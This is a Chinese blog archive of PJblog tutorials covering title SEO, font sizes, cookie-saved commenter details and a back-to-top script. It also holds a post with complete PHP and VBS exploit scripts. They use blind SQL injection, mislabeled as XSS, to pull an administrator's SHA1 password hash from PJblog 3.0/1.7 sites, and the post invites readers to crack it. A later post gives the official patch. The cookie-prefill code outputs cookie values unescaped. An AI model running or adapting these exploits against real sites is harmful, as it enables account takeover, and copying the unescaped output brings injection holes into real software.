标签为 "PJblog" 的存档

PJblog页面标题优化,全局字体放大,添加文章在线翻译功能

      PJblog页面标题优化,全局字体放大,添加文章在线翻译功能
      这一段时间在不停的研究pjblog的细节优化问题,当然很多都是在和海天(他的asp真的很不错)的共同努力之下完成的,现在就把PJblog页面标题优化、全局字体扩大,文章在线翻译添加的修改办法贴出来。
      首先是PJblog的页面标题优化,如果你也是PJblog的用户并且开通了google网站管理员工具,那么在它的HTML建议中(注意:这里提到的是新版的google网站管理员工具)就会发现很多元标记重复,展开以后是多个不同的网页标题完全一致。这样显然对搜索引擎是不够友好的。主要问题存在于这两个个地方:日志分类,历史归档。此功能代码及方法由海天提供。
      修改文件:header.asp,把“'处理标题”和“'备用做304优化”之间的代码换成以下代码:

复制内容到剪贴板程序代码程序代码
Dim BlogTitle,Blogkeywords,Blogdescription,logyear,logmonth,logday,logdisplayType,logpage,
logdisplayTypes,logpages
If CheckStr(Request.QueryString("log_year")) <> Empty Then logyear =  CheckStr(Request.QueryString("log_year")) & "年"
If CheckStr(Request.QueryString("log_month")) <> Empty Then logmonth = CheckStr(Request.QueryString("log_month")) & "月"
If CheckStr(Request.QueryString("log_day")) <> Empty Then logday = CheckStr(Request.QueryString("log_day")) & "日"
If CheckStr(Request.QueryString("page")) <> Empty Then logpage = "第" & CheckStr(Request.QueryString("page")) & "章"
If CheckStr(Request.QueryString("distype")) = "normal" Then
   logdisplayType =" 普通预览模式"
elseif CheckStr(Request.QueryString("distype")) = "list" then logdisplayType =" 列表预览模式"
end if

If CheckStr(Request.QueryString("page")) <> Empty and Request.QueryString("tag") = Empty and IsInteger(cateID) <> True and logyear = Empty and logmonth = Empty and logday = Empty Then logpages = "第" & CheckStr(Request.QueryString("page")) & "章"
If CheckStr(Request.QueryString("distype")) = "normal" and Request.QueryStr
ing("tag") = Empty and IsInteger(cateID) <> True and logyear = Empty and logmonth = Empty and logday = Empty Then
   logdisplayTypes =" 普通预览模式"
elseif CheckStr(Request.QueryString("distype")) = "list" and Request.QueryString("tag") = Empty and IsInteger(cateID) <> True and logyear = Empty and logmonth = Empty and logday = Empty then logdisplayTypes =" 列表预览模式"
end if

'主页分页、预览模式处理
BlogTitle = siteName & " " & logpages & logdisplayTypes & "-" & blog_Title
Blogkeywords = Blogkeywords & logpages & logdisplayTypes & "," & Blog_keywords
Blogdescription = Blogdescription & Blog_description
'处理tag页面
If InStr(Replace(LCase(Request.ServerVariables("URL")), "\", "/"), "/default.asp")<>0 Then
IF Request.QueryString("tag") <> "" Then
    BlogTitle = "标签云集:" & Request.QueryString("tag") & " " & logpage & logdisplayType & " – " & BlogTitle
    Blogkeywords = Request.QueryString("tag") & logpage & logdisplayType & ",tags页面的,标签云集,记录海天无影BLOG的tag"
    Blogdescription = Request.QueryString("tag") & "的tags页面的" & logpage & logdisplayType & ",归类了关于" & Request.QueryString("tag") & "的所有文章和tag标签,后面自己加……"
End If
'处理分类页面
IF IsInteger(cateID) = True Then
   Dim Cate
   Set Cate = New Category
   Cate.Load(cateID)
   BlogTitle = Cate.Cate_Intro & " " & logpage & logdisplayType & " – " & BlogTitle
   Blogkeywords =  Cate.Cate_Intro & logpage & logdisplayType & ",分类页面,相关栏目文章"
   Blogdescription = Cate.Cate_Intro & "的分类页面的" & logpage & logdisplayType & ",栏目包括了关于" & Cate.Cate_Intro & "的所有文章,后面自己加……"
End If
'处理时间分类页面
if logyear <> Empty or logmonth <> Empty or logday <> Empty then
   BlogTitle = "博客时间归档:" & logyear & logmonth & logday & logpage & logdisplayType & " – " & BlogTitle
   Blogkeywords = "写于" & logyear & logmonth & logday & "的文章" & logpage & logdisplayType & ",后面自己加……"
   Blogdescription = "海天写于" & logyear & logmonth & logday & "的文章," & logpage & logdisplayType & ",后面自己加……"
end if

      2、找到“getBlogHead BlogTitle, "", -1”后面添加“, Blogkeywords, Blogdescription”。

      3、找到“Sub getBlogHead(Title, CateTitle, CategoryID”后面添加“, blog_KeyWords, blog_Description”。

      4、找到“<div id="blogTitle"><%=blog_Title%></div>”后面添加

复制内容到剪贴板程序代码程序代码
<div id="Blogkeywords"><%=blog_keywords%></div>
    <div id="Blogdescription"><%=blog_description%></div>

      5、打开article.asp页面
找到“getBlogHead BlogTitle, getCate.cate_Name, getCate.cate_ID”在后面添加“, Blogkeywords, Blogdescription”

      然后是全局字体放大(即整个博客所有文字字体全部放大)。一直觉得PJblog的默认字体比较小,看着费眼。简单修改一下皮肤文件夹的css文件就可以搞定:
      找到当前皮肤文件夹目录下的global.css文件,打开,根据实际经验和海天的反馈,这个文件的内容存在不一致的情况。有的皮肤使用global.css来控制日志和全局的字体,而有的皮肤中global.css则没有对日志字体的控制(这样的皮肤占多数)。

复制内容到剪贴板程序代码程序代码
body{
    font-size: 12px;
    margin:0;
    padding:0;
    text-align:center;
    background: url(bg.jpg) repeat-x #fbfbfb;
    color:#3b3b3b;
    font-family: Verdana, Arial, Helvetica, sans-serif;
}
p{margin:3px;}
img {max-width: 100%;height:auto;}
select{font-family: Verdana, Arial}
th{}
#editorbody
{
    zoom: 1;
}

      如果你的global.css文件是类似以上内容的,就不包含对日志字体的控制。修改方法:首先将第二行的12px修改为你想要的字体大小(建议修改为14px),然后再打开相同目录下的layout.css文件,搜索
.Content-body{font-size:
      将后面的数值修改你需要的字体大小即可。

复制内容到剪贴板程序代码程序代码
body{font-size:12px!important;font-size:11px;margin:23px 0px 16px 0px;padding:0px;text-align:center;color:#80B7D5;font-family:Tahoma, Verdana;background-color:#081218;background-image: url(bg.gif);}
img {max-width: 100%;height: auto;}
select{font-family:Tahoma, Verdana;font-size:12px;border: 1px solid #4B9BC6;color: #4294C0;background-color: #000;}
th{background:#f5f5f1;}
input{padding:2px 2px 0px 2px;background:#000;color:#A6A9B9;border: 1px solid #2977A0;}
textarea{border:1px solid #2977A0;color:#A6A9B9;font-size:12px;font-family:Tahoma, Verdana;padding:1px;overflow:auto;text-align:left;background-color: #030A0D;}
html{SCROLLBAR-FACE-COLOR:#000000;SCROLLBAR-HIGHLIGHT-COLOR:#337599;SCROLLBAR-SHADOW-COLOR:#337599;
SCROLLBAR-3DLIGHT-COLOR:#363636;SCROLLBAR-ARROW-COLOR:#337599;SCROLLBAR-TRACK-COLOR:#0A171F;
SCROLLBAR-DARKSHADOW-COLOR:#122530;/*overflow-x:hidden*/}

      如果你的global.css文件是类似这样的,就包括了对日志字体控制。这时只需修改第一行"body{font-size:"后面的数值即可。

      最后说一下为页面增加在线文章内容翻译。源于统计报告中几乎每天都有的国外访客,4月份到现在有来自28个国家和地区的100多次境外访问,而且很多是通过google过来的。在下午详细检查访问情况时,看到一个美国访客先是通过google搜索到了我的一篇文章,但估计看的抓狂

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/165

pjblog访客信息保存(为访客留言评论添加cookies功能)升级过程及方法

      前几天蚊子在PJ论坛上发表了一篇关于访客信息保存的文章(利用cookies),原文基于PJ官方版本发布,因此只能保存访客(游客)的用户名。修改主要包括两个部分,其一针对博客文章的评论,其二针对博客动态留言板的留言。在拿到修改代码之后,当天晚上自己改了一下,在动态留言板下完成了可以保存访客用户名、邮箱、网址的更改升级。但在全静态日志模式下访客评论遇到了麻烦,经过前天、昨天两个晚上自己摸索无果后,今天终于找到一位热心博主海天无影(http://htwy.org.ru/),在他的指导下,再经过两人合作最终完成了静态日志评论访客信息保存功能代码修改。在此,谨对海天表示衷心的感谢。
      这里,将完整的修改方法贴上来。
      注:本文仅适用于在戒聊的访客信息收集基础上修改,采用其他方式收集访客信息的本文仅供参考,请勿完全照搬。
      1,打开blogcomm.asp
搜索

复制内容到剪贴板程序代码程序代码
Session(CookieName&"_LastDo") = "AddComment"

下面加入

复制内容到剪贴板程序代码程序代码
    If request.Form("keepinfo") = 1 then
        Response.Cookies(CookieName)("postusername") = username
    Else
        Response.Cookies(CookieName)("postusername") = ""
    End If
    If request.Form("keepinfo") = 1 then
       Response.Cookies(CookieName)("postemail") = email
    Else
       Response.Cookies(CookieName)("postemail") = ""
     End If
       If request.Form("keepinfo") = 1 then
       Response.Cookies(CookieName)("postsiteurl") = tsiteurl
    Else
       Response.Cookies(CookieName)("postsiteurl") = ""
     End If

      2,打开 class\cls_article.asp
搜索

复制内容到剪贴板程序代码程序代码
<%if not memName=empty then response.write ("value="""&memName&""" readonly=""readonly""")%>

替换为

复制内容到剪贴板程序代码程序代码
<%if not memName=empty Then
            response.write ("value="""&memName&""" readonly=""readonly""")
            ElseIf Request.Cookies(CookieName)("postusername") <> "" Then
            response.write ("value="""&Request.Cookies(CookieName)("postusername")&"""")
           End if%>

搜索

复制内容到剪贴板程序代码程序代码
<input name="myblogemail" type="text" size="18" class="userpass" maxlength="24"

在后面添加

复制内容到剪贴板程序代码程序代码
<%if not memName=empty Then
              response.write ("value="""&memName&""" readonly=""readonly""")
           ElseIf Request.Cookies(CookieName)("postemail") <> "" Then
           response.write ("value="""&Request.Cookies(CookieName)("postemail")&"""")
           End if%>

搜索

复制内容到剪贴板程序代码程序代码
<input name="myblogsiteurl" type="text" class="userpass" value="http://" size="18" maxlength="24"

在后面添加

复制内容到剪贴板程序代码程序代码
<%if not memName=empty Then
              response.write ("value="""&memName&""" readonly=""readonly""")
            ElseIf Request.Cookies(CookieName)("postsiteurl") <> "" Then
           response.write ("value="""&Request.Cookies(CookieName)("postsiteurl")&&#
34;"
"")
           End if%>

搜索

复制内容到剪贴板程序代码程序代码
<label for="label7"><input name="log_DisKey" type="checkbox" id="label7" value="1" />禁止自动转换关键字</label>

在下面添加

复制内容到剪贴板程序代码程序代码
<br><label for="label17"><input name="keepinfo" type="checkbox" id="label17" value="1" checked="checked"/>记住我,再次发表不需要重填个人信息。</label>

      3,如果你一样用的全静态,现在需要修改静态模版文件Template/static.htm,这一步步骤与蚊子的方法一致,只是showcookie.asp文件内容不一样。
搜索

复制内容到剪贴板程序代码程序代码
<label for="label7"><input name="log_DisKey" type="checkbox" id="label7" value="1" />禁止自动转换关键字</label>

在下面添加

复制内容到剪贴板程序代码程序代码
<br><label for="label17"><input name="keepinfo" type="checkbox" id="label17" value="1" checked="checked"/>记住我,再次发表不需要重填个人信息。</label>

搜索

复制内容到剪贴板程序代码程序代码
</body>

在上面添加

复制内容到剪贴板程序代码程序代码
<script type="text/javascript" src="showcookie.asp"></script>

      下载showcookie.asp放在根目录,然后到后台重新输出所有日志并更新缓存。

下载文件 点击下载showcookie.asp

      再来看动态留言板(GuestBook插件)留言的访客信息如何保存。
      4,打开Plugins\GuestBook\bookaction.asp文件
搜索

复制内容到剪贴板程序代码程序代码
'插入数据

在下面添加

复制内容到剪贴板程序代码程序代码
    If request.Form("keepinfo") = 1 then
        Response.Cookies(CookieName)("postusername") = username
    Else
        Response.Cookies(CookieName)("postusername") = ""
    End If
    If request.Form("keepinfo") = 1 then
       Response.Cookies(CookieName)("postemail") = email
    Else
       Response.Cookies(CookieName)("postemail") = ""
     End If
       If request.Form("keepinfo") = 1 then
       Response.Cookies(CookieName)("postsiteurl") = tsiteurl
    Else
       Response.Cookies(CookieName)("postsiteurl") = ""
     End If

    5,打开Plugins\GuestBook\guestbook.asp文件
搜索

复制内容到剪贴板程序代码程序代码
<%if not memName=empty then response.write ("value="""&memName&""" readonly=""readonly""")%>

替换为

复制内容到剪贴板程序代码程序代码
<%if not memName=empty Then
              response.write ("value="""&memName&""" readonly=""readonly""")
            ElseIf Request.Cookies(CookieName)("postusername") <> "" Then
            response.write ("value="""&Request.Cookies(CookieName)("postusername")&"""")
           End if%>

搜索

复制内容到剪贴板程序代码程序代码
<input name="myblogemail" type="text" size="18" class="userpass" maxlength="24"

在后面添加

复制内容到剪贴板程序代码程序代码
<%if not memName=empty Then
              response.write ("value="""&memName&""" readonly=""readonly""")
           ElseIf Request.Cookies(CookieName)("postemail") <> "" Then
           response.write ("value="""&Request.Cookies(CookieName)("postemail")&"""")
           End if%>

搜索

复制内容到剪贴板程序代码程序代码
<input name="myblogsiteurl" type="text" class="userpass" value="http://" size="18" maxlength="24"

替换为

复制内容到剪贴板程序代码程序代码
<input name="myblogsiteurl" type="text" class="userpass" size="18" maxlength="24"

      说明:如果不把其中的网址初始赋值"http://"删除,cookie中的访客信息只能保存为"http://",不能保存访客填写的完整网址,但这一赋值在blogcomm.asp文件中对cookie不产生影响。
      然后,在后面添加

复制内容到剪贴板程序代码程序代码
<%if not memName=empty Then
              response.write ("value="""&memName&""" readonly=""readonly""")
            ElseIf Request.Cookies(CookieName)("postsiteurl") <> "" Then
           response.write ("value="""&Request.Cookies(CookieName)("postsiteurl")&"""")
           End if%>

搜索

复制内容到剪贴板程序代码程序代码
<label for="label5"><input name="hiddenMsg" type="checkbox" id="label5" value="1" />隐藏留言</label>

在下面添加

复制内容到剪贴板程序代码程序代码
<br><label for="label17"><input name="keepinfo" type="checkbox" id="label17" value="1" checked="checked"/>记住我,再次发表不需要重填个人信息。</label>

      至此,全部改造工作完成,大家的博客在访客反馈时将更加简便、快捷!

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/213

pjblog自定义留言/评论显示条数方法

      这也是我前几天改造pjblog的内容之一,经过自己的摸索,现在把它分享出来,希望能对其他pjblogger有所帮助。
     1,修改页面显示评论函数文件位置及方法:
      打开\common\cache.asp,搜索“显示最新评论预览数量”(第350行左右),将前面的"ShowLen = 10"中的10修改为你需要的值。
      2,修改页面显示留言(guestbook插件)函数文件位置及方法:
      打开\plugins.asp,搜索“FROM blog_book order by book_PostTime Desc”(第34行左右),将前面的"Select top 10"中的10修改为你需要的值。
      然后到后台重建缓存即可。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/224

PJBLOG(网站)添加滚动返回顶部Javascript特效代码

      PJBLOG文章添加返回页面顶部的Javascript特效代码,本文目的:在pjblog文章右下角添加一个"返回顶部"的按钮,实现快速返回页面顶部的效果,提高用户体验。
      这里介绍两种可以实现的效果及方法。
      效果一:直接快速返回页面顶部

       动态模式下:
       首页实现返回顶部效果,编辑class\cls_article.asp文件,搜索如下代码:

复制内容到剪贴板程序代码程序代码
<%=log_ViewArr(12,0)%> | 引用: <%=log_ViewArr(13,0)%> | 查看次数: <%=log_ViewArr(4,0)%>

       在后面添加如下代码:

复制内容到剪贴板程序代码程序代码
|  <a href="javascript:scroll(0,0)">返回顶部</a>

      博客文章现返回顶部效果,编辑class\cls_article.asp文件,搜索如下代码:

复制内容到剪贴板程序代码程序代码
<%=log_ViewArr(12,0)%> | 引用: <%=log_ViewArr(13,0)%> | 查看次数: <%=log_ViewArr(4,0)%>

       在后面添加如下代码:

复制内容到剪贴板程序代码程序代码
|  <a href="javascript:scroll(0,0)">返回顶部</a>

      静态模式下:
       首页实现效果同动态方法;文章实现效果方法,编辑Template\static.html,搜索如下代码:

复制内容到剪贴板程序代码程序代码
引用: <$log_QuoteNums$></a> | 查看次数: <span id="countNum">-</span>

       在后面添加如下代码:

复制内容到剪贴板程序代码程序代码
|  <a href="javascript:scroll(0,0)">返回顶部</a>

       后台-站点基本设置-初始化数据-更新所有日志到文件,并且包含日志列表缓存,即可见到效果。

      效果二:滚动效果返回页面顶部(同本页面)
      暂只提供静态模式修改方法,因本人不太懂asp代码,有在动态模式下研究出来的兄弟欢迎共享。
      找到default.asp中包含的头文件如header.asp,在其中适当的位置插入以下javascript代码:

复制内容到剪贴板程序代码程序代码
<script language="javascript">

var goto_top_type = -1;

var goto_top_itv = 0;

function goto_top_timer() {

      var y = goto_top_type == 1 ? document.documentElement.scrollTop : document.body.scrollTop;

         var moveby = 15;

          

         y -= Math.ceil(y * moveby / 100);

         if (y < 0) {

         y = 0;

         }

          

         if (goto_top_type == 1) {

         document.documentElement.scrollTop = y;

         }

         else {

         document.body.scrollTop = y;

         }

          

         if (y == 0) {

         clearInterval(goto_top_itv);

         goto_top_itv = 0;

         }

}

function goto_top() {

         if (goto_top_itv == 0) {

                  if (document.documentElement && document.documentElement.scrollTop) {

                  goto_top_type = 1;

                  }

                  else if (document.body && document.body.scrollTop) {

                  goto_top_type = 2;

                  }

                  else {

                  goto_top_type = 0;

                  }

    &n
bsp;             

                  if (goto_top_type > 0) {

                  goto_top_itv = setInterval('goto_top_timer()', 50);

                  }

         }

}

</script>

      编辑Template\ArticleList.asp,搜索如下代码(共4处):

复制内容到剪贴板程序代码程序代码
<$log_viewC$>

      在后面添加如下代码:      

复制内容到剪贴板程序代码程序代码
| <a href="javascript:void(0)" onclick="goto_top()">返回顶部</a>

       后台-站点基本设置-初始化数据-更新所有日志到文件,并且包含日志列表缓存,即可见到效果。
       其他类型网站如需使用此特效只需将上面两处js代码添加到你的html(网站内容模板)文件中即可。

       此代码可以实现滚动卷屏返回页面顶部的效果,更贴近WEB2.0效果,更炫。

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/pc-tech/233

pjblog170xss漏洞利用工具

      昨天将自己的博客打上了这个漏洞的补丁,后来身边的朋友们也打上了,现在就把这个XSS漏洞文件和利用代码贴出来,此漏洞可以爆出管理员sha1密码,能不能跑出来就看各位的造化了。
      存在漏洞文件:action.asp
      第14行:

复制内容到剪贴板程序代码程序代码
strcname=request("cname")
set checkcdb=conn.execute("select * from blog_Content where log_cname="""&strcname&"""")

      PHP利用代码:

复制内容到剪贴板程序代码程序代码
<?php
/*
PJblog V3.0 0day exp
code by 小蟑螂&bink
www.0kee.com    www.t00ls.net
09.04.22
*/

$url="http://www.pjhome.net";    //注入地址
$var_name="puterjam";    //管理员
$var_key="check_right";

if ($_SESSION["LenI"]){
$LenI=$_SESSION["LenI"];
}else{
$LenI=1;
}
for($i=$LenI;$i<=40;$i++){
if($_SESSION["LenDo"]){
$StaAsc=$_SESSION["LenDo"];
}else{
$StaAsc=31;
}
echo "Scan password len:".$i." ;asc form ".$StaAsc." to 127";
for($j=$StaAsc;$j<=127;$j++){
$newurl=$url.'/action.asp?action=checkAlias&cname=firebug_plugins_firediff"%20and%20%28select%20top%201%20asc%28mid%28mem_password%2c'.$i.'%2c1%29%29%20From%20blog_member%20where%20mem_name=\''.$var_name.'\'%29%3e'.$j.'%20and%20"1"="1';
$var_pagelen=file_get_contents($newurl);
$var_newpagelen=strpos($var_pagelen,$var_key);
if($var_newpagelen == true){
$_SESSION["tmpPassWord"]=$_SESSION["tmpPassWord"].chr($j);
unset($_SESSION["LenDo"]);
$_SESSION["LenI"]=$i+1;
doReload();
break;
}
if($j == $StaAsc+10){
doReload();
break;
}
}
}
if ($_SESSION["LenI"]==40 && !($_SESSION["LenDo"])){ echo $_SESSION["tmpPassWord"]; }

function doReload(){
?>
<script  language="javascript">
<!–
window.setTimeout('location.reload()',1000);
//–>
</script>
<?php
}
?>

      没有PHP的,还有VBS利用代码:

复制内容到剪贴板程序代码程序代码
If WScript.Arguments.Count <> 2 Then
        WScript.Echo "Usage: Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名"
        WScript.Echo "Example: Cscript.exe Exp.vbs http://www.pjhome.net puterjam"
        WScript.Quit
End If

attackUrl = WScript.Arguments(0)
attackUser = WScript.Arguments(1)
attackUrl = Replace(attackUrl,"\","/")
If Right(attackUrl , 1) <> "/" Then
        attackUrl = attackUrl & "/"
End If
SHA1Charset = "0123456789ABCDEFJ"
strHoleUrl = attackUrl & "action.asp?action=checkAlias&cname=0kee"""

If IsSuccess(strHoleUrl & "or ""1""=""1") And Not IsSuccess(strHoleUrl & "and ""1""=""2") Then
        WScript.Echo "恭喜!存在漏洞"
Else
        WScript.Echo "没有检测到漏洞"
        WScript.Quit
End If

For n=1 To 40
        For i=1 To 17
                strInject = strHoleUrl & " or 0<(Select Count(*) From blog_member Where mem_name='" & attackUser & "' And mem_password>='" & strResult & Mid(SHA1Charset, i, 1) & "') And ""1""=""1"
                If Not IsSuccess(strInject) Then
                        strResult = strResult & Mid(SHA1Charset, i-1, 1)
                        Exit For
                End If
                strPrint = chr(13) & "Password(SHA1): " & strResult & Mid(SHA1Charset, i, 1)
                WScript.StdOut.Write strPrint
        Next
Next
WScript.Echo Chr(13) & Chr (10) & "Done!"

Function PostData(PostUrl)
    Dim Http
    Set Http = CreateObject("msxml2.serverXMLHTTP")
    With Http
        .Open "GET",PostUrl,False
        .Send ()
        PostData = .ResponseBody
    End With
    Set Http = Nothing
    PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
    Dim strReturn
    Dim I, ThisCharCode, NextCharCode
    strReturn = ""
    For I = 1 To LenB(vIn)
        ThisCharCode = AscB(MidB(vIn, I, 1))
        If ThisCharCode < &H80 Then
     &#160
;      strReturn = strReturn & Chr(ThisCharCode)
        Else
            NextCharCode = AscB(MidB(vIn, I + 1, 1))
            strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
            I = I + 1
        End If
    Next
    bytes2BSTR = strReturn
End Function

Function IsSuccess(PostUrl)

strData = PostData(PostUrl)
'Wscript.Echo strData
if InStr(strData,"check_error") >0 then
        IsSuccess = True
Else
        IsSuccess = False
End If
'Wscript.Sleep 500 '让系统休息一下
End Function

      VBS脚本利用方法:
      Cscript.exe Exp.vbs 要检测的论坛网址 要检测的用户名

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/240

PJblog 170版本安全漏洞补丁

      今天早上到Pj的官方论坛一看,看到置顶主题赫然写着pjblog170重要安全补丁发布,到网上转了转找到了漏洞利用工具,实际上是一个XSS,可以获得管理员的sha1密码。有人给出了php和VBS的利用脚本,因为本地没有装php,就用VBS跑了一下自己的博客,果然爆出了sha1密码~~
      然后就是按照论坛上的方法打补丁,因为之前我的代码自己改过,没有完全按照官方的来,所以不能直接覆盖文件升级,而要手动修改代码升级。共计4个文件,虽然不懂一点asp,但以前也依葫芦画瓢的改过代码,有些信心的。因为论坛上有很多人都出错,所以很小心,一口气把9页回复都看完,综合了一下意见才用Ultracompare对比新旧文件改的。不想还是出问题了,先是检测防xss的函数放错了地方,我说在emeditor里面怎么不能自动高亮呢;改好之后以为OK了,前后台都没有问题,试着发表日志时来了问题。日志发表完毕之后内容并不能写入数据库,因此返回文章时得不到文章ID,当时想着真崩溃,检查了好多地方也没找出原因,后来看了blogpost.asp里包括的文件,确定文件是出在class/cls_logAction.asp上,因为里面改的地方很多,就从服务器上把原来没改过的拉到本地覆盖再改。这一次不跟新的补丁文件对比修改了,直接按照论坛上的要求改了一个地方,保存,然后OK,将更改文件全部再传到服务器上,也没有问题,再用那个VBS利用脚本一检测,本地和服务器都没有漏洞了,这才松了口气。这前后大约用了3个小时。
      附上从官网copy过来的补丁修补方法(注:适用于157-170版本的Pj):
      需修改文件:根目录Action.asp
      将 request("cname") 改成 Checkxss(request.QueryString("cname"))
      将 request("mainurl") 改成 Checkxss(request.QueryString("mainurl"))
      将 request("main") 改成 Checkxss(request.QueryString("main"))

      需修改文件:common/function.asp,在文件中增加一个函数:

复制内容到剪贴板程序代码程序代码
'*************************************
'防XSS注入函数 更新于2009-04-21 by evio
'与checkstr()相比, checkxss更加安全
'*************************************
Function Checkxss(byVal ChkStr)
    Dim Str
    Str = ChkStr
    If IsNull(Str) Then
        CheckStr = ""
        Exit Function
    End If
    Str = Replace(Str, "&", "&")
    Str = Replace(Str, "'", "´")
    Str = Replace(Str, """", """)
        Str = Replace(Str, "<", "<")
        Str = Replace(Str, ">", ">")
        Str = Replace(Str, "/", "/")
        Str = Replace(Str, "*", "*")
    Dim re
    Set re = New RegExp
    re.IgnoreCase = True
    re.Global = True
    re.Pattern = "(w)(here)"
    Str = re.Replace(Str, "$1here")
    re.Pattern = "(s)(elect)"
    Str = re.Replace(Str, "$1elect")
    re.Pattern = "(i)(nsert)"
    Str = re.Replace(Str, "$1nsert")
    re.Pattern = "(c)(reate)"
 &
nbsp;  Str = re.Replace(Str, "$1reate")
    re.Pattern = "(d)(rop)"
    Str = re.Replace(Str, "$1rop")
    re.Pattern = "(a)(lter)"
    Str = re.Replace(Str, "$1lter")
    re.Pattern = "(d)(elete)"
    Str = re.Replace(Str, "$1elete")
    re.Pattern = "(u)(pdate)"
    Str = re.Replace(Str, "$1pdate")
    re.Pattern = "(\s)(or)"
    Str = re.Replace(Str, "$1or")
        re.Pattern = "(\n)"
    Str = re.Replace(Str, "$1or")
        '———————————-
        re.Pattern = "(java)(script)"
    Str = re.Replace(Str, "$1script")
        re.Pattern = "(j)(script)"
    Str = re.Replace(Str, "$1script")
        re.Pattern = "(vb)(script)"
    Str = re.Replace(Str, "$1script")
        '———————————-
        If Instr(Str, "e­xpression") > 0 Then
                Str = Replace(Str, "e­xpression", "e", 1, 1, 0) '防止xss注入
        End If
    Set re = Nothing
    Checkxss = Str
End Function

      修改文件:class/cls_logAction.asp
      找到:

复制内容到剪贴板程序代码程序代码
oldcname = request.form("oldcname")
                oldcate = request.form("oldcate")
                oldctype = request.form("oldtype")

      替换为:

复制内容到剪贴板程序代码程序代码
oldcname = Checkxss(request.form("oldcname"))
                oldcate = Checkxss(request.form("o
ldcate"
))
                oldctype = Checkxss(request.form("oldtype"))

      修改文件:GetArticle.asp
      找到:

复制内容到剪贴板程序代码程序代码
blog_postFile = request("blog_postFile")

      替换为:

复制内容到剪贴板程序代码程序代码
blog_postFile = Cint(Checkxss(request.QueryString("blog_postFile")))

转载请尊重版权,出处:秋天博客
本文链接: https://www.cfresh.net/web-security/243